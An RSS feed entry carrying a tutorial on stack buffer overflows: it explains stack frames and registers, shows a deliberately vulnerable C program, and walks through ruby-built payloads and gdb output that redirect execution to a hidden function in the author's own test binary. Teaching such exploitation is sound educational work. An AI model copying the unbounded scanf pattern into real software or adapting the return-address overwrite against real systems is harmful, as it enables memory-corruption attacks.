<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Marcelo Domínguez</title>
    <description>The latest articles on DEV Community by Marcelo Domínguez (@sa4dus).</description>
    <link>https://dev.to/sa4dus</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2539400%2F8ac29ad2-2c5c-41da-9ff1-215bb56896c1.jpeg</url>
      <title>DEV Community: Marcelo Domínguez</title>
      <link>https://dev.to/sa4dus</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sa4dus"/>
    <language>en</language>
    <item>
      <title>Buffer Overflow: From Basics to Exploitation</title>
      <dc:creator>Marcelo Domínguez</dc:creator>
      <pubDate>Mon, 17 Feb 2025 21:45:33 +0000</pubDate>
      <link>https://dev.to/sa4dus/buffer-overflow-from-basics-to-exploitation-5d0n</link>
      <guid>https://dev.to/sa4dus/buffer-overflow-from-basics-to-exploitation-5d0n</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;This article provides a hands-on guide to exploiting a buffer overflow, one of the most well-known and impactful software vulnerabilities. You'll learn how an attacker can manipulate a program's memory to execute arbitrary code, bypassing its intended behavior. By the end, you'll understand the mechanics behind buffer overflows and how they can lead to serious security risks.&lt;/p&gt;

&lt;h2&gt;
  
  
  Prerequisites
&lt;/h2&gt;

&lt;p&gt;To follow along, you should have:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A basic understanding of C programming, including pointers and memory management.&lt;/li&gt;
&lt;li&gt;Familiarity with the Linux command line and tools such as &lt;code&gt;gcc&lt;/code&gt; and &lt;code&gt;gdb&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A general understanding of computer architecture, specifically the stack and how functions are called.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Although the code used for this demonstration is not inherently dangerous, it is best to perform the exploitation in a controlled environment. That way, we’ll be ready when things get more interesting.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is a Buffer Overflow?
&lt;/h2&gt;

&lt;p&gt;A buffer overflow is a vulnerability in software that occurs when a program writes more data to a fixed-length block of memory (a buffer) than it is designed to hold. This can cause unintended behavior, including crashes, data corruption, or even exploitation by attackers to gain control of the system.&lt;/p&gt;

&lt;p&gt;Buffer overflows occur when a program writes more data to a buffer than it can hold, leading to adjacent memory being overwritten. This can overwrite function return addresses, which can be manipulated by an attacker to redirect program control to arbitrary locations, such as malicious code or a ‘secret’ function.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stack Memory Layout and Function calls
&lt;/h2&gt;

&lt;p&gt;To understand how a buffer overflow can be exploited, we need to examine how the stack changes when a function is called.&lt;/p&gt;

&lt;h3&gt;
  
  
  Function Prologue
&lt;/h3&gt;

&lt;p&gt;When a function is called, the following steps occur:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The return address (where execution should continue after the function ends) is pushed onto the stack.&lt;/li&gt;
&lt;li&gt;The base pointer (&lt;code&gt;rbp&lt;/code&gt;) of the previous function is saved to keep track of the caller's stack frame.&lt;/li&gt;
&lt;li&gt;The stack pointer (&lt;code&gt;rsp&lt;/code&gt;) is adjusted to allocate space for local variables.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;For example, when calling the &lt;code&gt;echo()&lt;/code&gt; function in our vulnerable program, the stack initially looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Local Buffer (32 bytes)  |
| Saved %rbp (from main)   |
| Return Address (to main) |  &amp;lt;-  %rip 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that the buffer is 20 bytes but the stack allocated 32 bytes (&lt;code&gt;sub $0x20, %rsp&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  Understanding Key Registers
&lt;/h3&gt;

&lt;p&gt;To fully grasp how buffer overflows work, let's review the key registers involved:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;rbp&lt;/code&gt; (Base Pointer)&lt;/strong&gt;: Holds the base address of the current function's stack frame. Used to access function parameters and local variables.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;rsp&lt;/code&gt; (Stack Pointer)&lt;/strong&gt;: Points to the top of the stack, growing downwards as new data is pushed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;rip&lt;/code&gt; (Instruction Pointer)&lt;/strong&gt;: Holds the address of the next instruction to be executed. Overwriting this register allows an attacker to redirect execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Function Epilogue
&lt;/h3&gt;

&lt;p&gt;When the function ends:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;The base pointer (&lt;code&gt;rbp&lt;/code&gt;) is restored.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The stack pointer (&lt;code&gt;rsp&lt;/code&gt;) is adjusted to remove the local variables.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The function returns to the stored return address (&lt;code&gt;ret&lt;/code&gt; instruction), resuming execution.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If an attacker overwrites the return address, they can control where execution continues.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Vulnerable code
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;secret&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Oops, you weren't supposed to see this 0_0!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;echo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"What's your name?&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;scanf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"%s"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Hello, %s!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;    
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Compile the code with the following flags for static memory addresses and no stack protection:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;static&lt;/code&gt;: for static memory addresses&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;fno-stack-protector&lt;/code&gt;: for no stack addresses protection
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight make"&gt;&lt;code&gt;&lt;span class="nl"&gt;all&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; 
    gcc &lt;span class="nt"&gt;-static&lt;/span&gt; vuln.c &lt;span class="nt"&gt;-o&lt;/span&gt; vuln &lt;span class="nt"&gt;-fno-stack-protector&lt;/span&gt;
&lt;span class="nl"&gt;clean&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;rm &lt;/span&gt;vuln.c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To identify the address of the secret function, decompile the binary using &lt;code&gt;objdump&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;objdump &lt;span class="nt"&gt;-d&lt;/span&gt; vuln
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After this, we will see a bunch of ASM code, but we will focus on the following section.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0000000000401905 &amp;lt;secret&amp;gt;:
  401905:       f3 0f 1e fa             endbr64
  401909:       55                      push   %rbp
  40190a:       48 89 e5                mov    %rsp,%rbp
  40190d:       48 8d 05 1c b7 09 00    lea    0x9b71c(%rip),%rax        # 49d030 &amp;lt;__rseq_flags+0x2c&amp;gt;
  401914:       48 89 c7                mov    %rax,%rdi
  401917:       e8 34 1a 01 00          call   413350 &amp;lt;_IO_puts&amp;gt;
  40191c:       90                      nop
  40191d:       5d                      pop    %rbp
  40191e:       c3                      ret

000000000040191f &amp;lt;echo&amp;gt;:
  40191f:       f3 0f 1e fa             endbr64
  401923:       55                      push   %rbp
  401924:       48 89 e5                mov    %rsp,%rbp
  401927:       48 83 ec 20             sub    $0x20,%rsp
  40192b:       48 8d 05 2a b7 09 00    lea    0x9b72a(%rip),%rax        # 49d05c &amp;lt;__rseq_flags+0x58&amp;gt;
  401932:       48 89 c7                mov    %rax,%rdi
  401935:       e8 16 1a 01 00          call   413350 &amp;lt;_IO_puts&amp;gt;
  40193a:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  40193e:       48 89 c6                mov    %rax,%rsi
  401941:       48 8d 05 26 b7 09 00    lea    0x9b726(%rip),%rax        # 49d06e &amp;lt;__rseq_flags+0x6a&amp;gt;
  401948:       48 89 c7                mov    %rax,%rdi
  40194b:       b8 00 00 00 00          mov    $0x0,%eax
  401950:       e8 9b 34 00 00          call   404df0 &amp;lt;__isoc99_scanf&amp;gt;
  401955:       48 8d 45 e0             lea    -0x20(%rbp),%rax
  401959:       48 89 c6                mov    %rax,%rsi
  40195c:       48 8d 05 0e b7 09 00    lea    0x9b70e(%rip),%rax        # 49d071 &amp;lt;__rseq_flags+0x6d&amp;gt;
  401963:       48 89 c7                mov    %rax,%rdi
  401966:       b8 00 00 00 00          mov    $0x0,%eax
  40196b:       e8 50 35 00 00          call   404ec0 &amp;lt;_IO_printf&amp;gt;
  401970:       90                      nop
  401971:       c9                      leave
  401972:       c3                      ret
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At the beginning of the &lt;code&gt;echo&lt;/code&gt; function, we can see how the compiler reserves 32 bytes in the stack (&lt;code&gt;sub    $0x20,%rsp&lt;/code&gt;). Then, the current state of the stack is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;| Local Buffer (32 bytes)  |
| Saved %rbp (from main)   |
| Return Address (to main) |  &amp;lt;-  %rip 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In our C code, there are no bounds, so what if we enter a string longer than 20 characters?&lt;/p&gt;

&lt;p&gt;If we enter 20 to 31 characters, nothing will happen since we are inside the stack section enabled for the &lt;code&gt;buf&lt;/code&gt; variable, even though the string length is 20. But if we go with more characters, we get a segmentation fault, let's inspect it using gdb to find out what is going on there. We can create a payload using, for example, &lt;code&gt;ruby&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ruby -e 'print "a"*40 + "\xFE\xCA\x00\x00\x00\x00\x00\x00"' &amp;gt; input_data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, if we start a debugging session on &lt;code&gt;gdb&lt;/code&gt; of our executable, and pass the payload as input.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) run &amp;lt; input_data
Starting program: /home/user/Desktop/c/buffer_overflow/vuln &amp;lt; input_data
What's your name?
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa�

Program received signal SIGSEGV, Segmentation fault.
0x000000000000cafe in ?? ()
(gdb) x $rip
0xcafe: Cannot access memory at address 0xcafe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We can see that we have just overwritten the &lt;code&gt;$rip&lt;/code&gt; register. We get a SISGENV, and nothing interesting happens, but what if we set &lt;code&gt;$rip&lt;/code&gt; to a valid direction?&lt;/p&gt;

&lt;p&gt;From the assembly code of our decompiled binary, we know that the address of &lt;code&gt;secret&lt;/code&gt; is &lt;code&gt;0x401905&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0000000000401905 &amp;lt;secret&amp;gt;
    ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We update the payload generation.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ruby -e 'print "a"*40 + "\x05\x19\x40\x00\x00\x00\x00\x00"' &amp;gt; input_data
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As before, we execute the binary and pass the payload as input:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(gdb) run &amp;lt; input_data
Starting program: /home/user/Desktop/c/buffer_overflow/vuln &amp;lt; input_data
Downloading separate debug info for system-supplied DSO at 0x7ffff7ffd000
What's your name?
Hello, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa@!
Oops, you weren't supposed to see this 0_0!

Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffe000 in ?? ()
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We are getting a SIGSEGV this time, but the &lt;code&gt;secret&lt;/code&gt; function is being executed now.&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
